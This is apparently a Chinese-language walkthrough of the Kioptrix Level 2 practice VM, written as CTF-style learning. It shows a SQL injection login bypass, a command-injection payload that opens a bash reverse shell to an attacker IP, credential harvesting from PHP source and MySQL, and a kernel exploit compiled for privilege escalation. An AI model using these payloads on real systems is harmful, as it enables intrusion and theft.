Kioptrix-2靶机渗透
免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。
前言:Kioptrix系列一些基础的东西就不再说明了,建议从DC系列打起,本文系列作为对DC系列的一个巩固,从一个切入点拓展到多个切入点的尝试。
信息搜集
扫网段端口:
nmap -sn 10.144.71.0/24
nmap -sV -p- 10.144.71.126

端口增加了好几个,还是先从web端入手

直接给了登录框,刚开始的时候我看了一下源码,有这么一句话Start of HTML when logged in as Administator 感觉这里就是给了账户然后进行爆破,bp里面尝试了一下不行,再dirsearch扫了一下:

扫出来一个可以访问的,但是好像是apahce的文档界面,没什么用:

获取shell
那么再回到之前的登录框,尝试一下SQL注入,直接就进去了Administator' or 1=1#

又是一个ping的界面,执行一下相应命令是有回显的:

这个就是查询语句,那么尝试反弹shell,bash反弹能直接成功:
nc -lvnp 4444
;bash -i >& /dev/tcp/10.144.71.177/4444 0>&1
提权
进去之后还是得搞个tty,要不然后面连数据库的时候没法正常输出python -c 'import pty;pty.spawn("/bin/bash")' 也有index.php,访问一下:
<?php
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
//print "Connected to MySQL<br />";
mysql_select_db("webapp");
if ($_POST['uname'] != ""){
$username = $_POST['uname'];
$password = $_POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
//print $query."<br>";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
//print "ID: ".$row['id']."<br />";
}
?>
直接给出了MySQL的登录账户和密码,那还说啥了:
mysql -u john -phiroshima
一共有三个库,在mysql中有一个user表,看一眼:

有两个root和一个john,前两个拿不准,那先尝试一下john那个能不能ssh或者原来的web端页面登录,结果是web端登录不了,然后ssh又因为版本过旧等原因被默认是禁用状态的。
那么看一下数据库中还有没有别的账户密码,后面在wepapp中也有一个users表,看库名大概率就是web端的登录了:
select * from users;
+------+----------+------------+
| id | username | password |
+------+----------+------------+
| 1 | admin | 5afac8d85f |
| 2 | john | 66lajGGbla |
+------+----------+------------+
尝试之后确实是web端的登录账号,但是admin进去之后也没啥用,那看一下SUID
/sbin/suexec 这一个看起来好像能提权,网上搜一搜,有一个CVE2007的竞态条件与路径验证绕过:
-
原理:
suexec在验证目录路径和实际使用文件之间存在竞态条件。攻击者可以通过快速重命名目录或使用符号链接,诱使suexec在非预期的目录下执行命令,从而实现提权 -
利用前提:攻击者需要对 Apache 的文档根目录(
DocumentRoot)具有写权限,并能上传/运行 CGI/PHP 脚本
那么看一下是否有可写权限【虽然一般大概率不可写】
# 查看 Apache 主配置文件
cat /etc/httpd/conf/httpd.conf | grep -i "DocumentRoot"

路径是var/www/html
看一下权限:
ls -la /var/www/html

有点忘了,回顾一下:
| 字符位 | 表示 | 含义 |
|---|---|---|
第1位:d |
文件类型 | d 代表这是一个目录 (Directory)。如果是 - 则是普通文件,l 是链接。 |
第2-4位:rwx |
所有者权限 | r 读、w 写、x 进入。表示文件属主(这里是 root)可以查看目录内容、在里面创建/删除文件、以及 cd 进入该目录。 |
第5-7位:r-x |
所属组权限 | r 读、- 无权限、x 进入。表示属于该目录属组的用户(这里是 root 组)可以查看和进入目录,但不能在里面创建或删除文件(缺少 w)。 |
第8-10位:r-x |
其他人权限 | r 读、- 无权限、x 进入。表示既不是属主也不在属组里的其他用户(如 apache),权限与属组相同。 |
这样就能看出没有写入权限,那么这个CVE就执行不了了,换到内核看看
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux 然后这里有个小技巧,就是直接全部复制粘贴的话浏览器搜索就是靶机的通关教程,然后自己想找exp就很难找,所以要提纯一下:
Linux 2.6.9-55.EL exploit 还是建议Chrome

search一下 searchsploit --cve 2009-2689
显示没找到,那就换内核版本搜searchsploit centos 2.6.9

就是我们上面那个后续就是正常的利用了,编译运行的命令也给了:
gcc -o exp 9542.c
./exp

其他端口利用
MySQL
之前扫端口的时候还开了3306默认的mysql,那么我们可以进行相应的版本探测查看是否存在漏洞,使用MSF:
search mysql version
#自己找对应的
use 16
set rhosts 10.144.71.126
run
但是会出现一个问题:

- 这个 MySQL 服务器的配置里不允许这个IP(或任何非本地IP)连接。
- 这是 MySQL 默认的安全设置:只允许 localhost(127.0.0.1)或明确授权的IP连接,防止别人从外面随便连进来。
那么这个端口就用不了哩
CUPS
再换一个631端口,又是一个没见过的,网上搜一搜:
CUPS 1.1 是一个基于标准的开源打印系统,由苹果公司为 macOS 和其他 UNIX 类操作系统开发。它使用 Internet 打印协议 (IPP) 来管理打印机、打印请求和打印队列。CUPS 1.1 支持访问控制、验证和加密,使其成为比其他协议强大且安全的打印解决方案。它提供系统 V 和 Berkeley 命令行界面、Web 界面和 C API 来管理打印机和打印任务。CUPS 1.1 还支持本地(并行、串行、USB)和网络打印机打印,打印机可以从一台计算机共享到另一台计算机,甚至可以通过互联网共享
搜一下有无历史漏洞,可以在exdb中找到一个CVE2004-1267,但是是一段文字描述,总结如下:
- 漏洞类型:远程缓冲区溢出(Buffer Overflow)
- 影响组件:CUPS 的 HPGL 文件处理过滤器(hpgltops)
- 触发方式:让 CUPS 打印一个特制的 HPGL 文件(通过邮件、网页等方式诱导用户或系统打印即可)
- 危害:攻击者可以以 CUPS 运行的权限(通常是 lp 用户)执行任意代码,甚至读取/修改正在打印的文件。
- 发现时间:2004 年,由学生 Ariel Berkman 发现,D.J. Bernstein(著名安全研究员)帮忙发布公告。
- 对应 CVE:CVE-2004-1267
但是有个问题是我们需要用的exp是24977
- 24977 这个 exp(21.hpgl 文件)是一个本地过滤器利用:需要你已经能在目标机器上以普通用户身份执行 hpgltops 命令 来处理恶意 HPGL 文件,从而触发溢出,获得 lp 用户权限。
- 它不是完全远程的 RCE(不像 Samba trans2open 或 mod_ssl 那样可以从外部直接打)。
- Kioptrix 2 的 CUPS 配置比较严格(网页访问 631 端口返回 403 Forbidden),而且没有简单的方法让系统自动打印我们上传的 HPGL 文件。
Staus
这里面还有一个status服务:
- 它是 NFS(Network File System) 相关的一个辅助服务,全称叫 NSM(Network Status Monitor) 或 statd(status daemon)。
- 主要功能是监控 NFS 客户端和服务器之间的状态(比如机器是否宕机、锁恢复等)。
- 它通常和 rpcbind(端口 111)一起出现,是 Linux/Unix 系统上 NFS 服务的标准组件。
在这个靶机里只是系统默认开启的 NFS 相关服务,没有已知可直接远程利用的严重漏洞,既然这样的话这次靶机到这里差不多就结束了。
总结
最后再回顾一下,easy难度的流程做起来应该是很顺了,完整工具的利用链也能成为肌肉记忆,拓展的应该是攻击面这类了。后续就是不只是用exp,还得去理解,又是一道坎呢。

浙公网安备 33010602011771号